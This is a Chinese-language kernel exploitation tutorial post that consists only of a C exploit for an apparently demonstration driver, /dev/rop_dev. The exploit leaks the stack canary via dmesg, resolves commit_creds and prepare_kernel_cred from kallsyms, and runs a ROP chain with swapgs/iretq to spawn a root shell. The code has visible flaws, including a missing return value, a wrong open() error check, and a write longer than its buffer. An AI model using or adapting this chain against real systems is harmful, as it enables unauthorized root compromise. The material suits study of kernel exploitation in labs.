linux 内核提权总结(demo+exp分析) -- ROP(一)

// gcc rop.c -masm=intel -static -o rop

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void get_shell()
{
    if (!getuid())
    {
        puts("=.=");
        system("/bin/sh");
    }
    else
    {
        puts("failed");
    }
    exit(0);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    printf("ip is 0x%lx\n", (size_t)get_shell);
    printf("cs is 0x%lx\n", user_cs);
    printf("ss is 0x%lx\n", user_ss);
    printf("sp is 0x%lx\n", user_sp);
    printf("flag is 0x%lx\n", user_rflags);
    puts("status has been saved.");
}

size_t get_addr(char *name)
{
    int num = strlen(name) * 2 + 3 + 27;
    char cmd[num];
    memset(cmd, 0, num);
    strcat(cmd, "cat /tmp/kallsyms | grep ");
    strcat(cmd, name);
    strcat(cmd, " > ");
    strcat(cmd, name);
    printf("the cmd is %s\n", cmd);
    system(cmd);

    char buf[19] = {0};
    size_t addr = 0;

    FILE *fp = fopen(name, "r");
    if (fp == NULL)
    {
        printf("open %s error!\n", name);
        exit(0);
    }
    fgets(buf, 18, fp);
    addr = strtoul(buf, 0, 16);
    printf("the addr(0x) is: %p\n", (void *)addr);
    if (addr == 0)
    {
        puts("string conversion integer failed");
    }
    fclose(fp);
    return addr;
}

size_t get_canary()
{
    system("dmesg | grep canary > canary");
    puts("the cmd is: dmesg | grep canary > canary");
    FILE *fp = fopen("canary", "r");
    if (fp == NULL)
    {
        puts("open canary error");
        exit(0);
    }
    char buf[100] = {0};
    size_t canary = 0;
    fgets(buf, 100, fp);
    puts(buf);
    char *str_canary = strstr(buf, "0x");
    puts(str_canary);
    canary = strtoul(str_canary, 0, 16);
    fclose(fp);
    printf("the canary is 0x%lx\n", canary);
    
    return canary;
}

char *rop(size_t offset, size_t *ROP, size_t commit_creds, size_t prepare_kernel_cred)
{
    int i = 0;
    ROP[i++] = 0xffffffff8106b910 + offset; // pop rdi, ret
    ROP[i++] = 0x0;
    ROP[i++] = prepare_kernel_cred;

    ROP[i++] = 0xffffffff8105bd21 + offset; // test rcx,rcx ; jne 0xffffffff8105bcc6 ; pop rbp ; ret
    ROP[i++] = 0x0;
    ROP[i++] = 0xffffffff8110c68a + offset; // mov rdi, rax ; jne 0xffffffff8110c672 ; pop rbp ; ret
    ROP[i++] = 0x0;
    ROP[i++] = commit_creds;
    
    ROP[i++] = 0xffffffff81a00d5e + offset; // swapgs ; popfq ; pop rbp ; ret
    ROP[i++] = 0x0;
    ROP[i++] = 0x0;
    ROP[i++] = 0xffffffff81024b3b + offset; // iretq

    ROP[i++] = (size_t)get_shell;          // rip
    ROP[i++] = user_cs;
    ROP[i++] = user_rflags;
    ROP[i++] = user_sp;
    ROP[i++] = user_ss;
}

int main()
{
    size_t base, commit_creds, prepare_kernel_cred;

    base = get_addr("startup_64");
    commit_creds = get_addr("commit_creds");
    prepare_kernel_cred = get_addr("prepare_kernel_cred");
    size_t offset = base - 0xffffffff81000000;
    printf("offset 0x%lx\n", offset);

    int fd = open("/dev/rop_dev", 2);
    if (0 == fd)
    {
        puts("open /dev/rop_dev error");
        exit(0);
    }
    char payload1[0x10] = {0};
    write(fd, payload1, 0x10);
    write(fd, payload1, 0x10);
    size_t canary = get_canary();
    
    size_t payload2[17] = {0};
    payload2[0] = 0x6161616161616161;
    payload2[1] = 0x6262626262626262;
    payload2[2] = canary;
    payload2[3] = 0x6363636363636363;
    save_status();
    rop(offset, &payload2[4], commit_creds, prepare_kernel_cred);
    write(fd, payload2, 8*21);
    puts("success");

    return 0;
}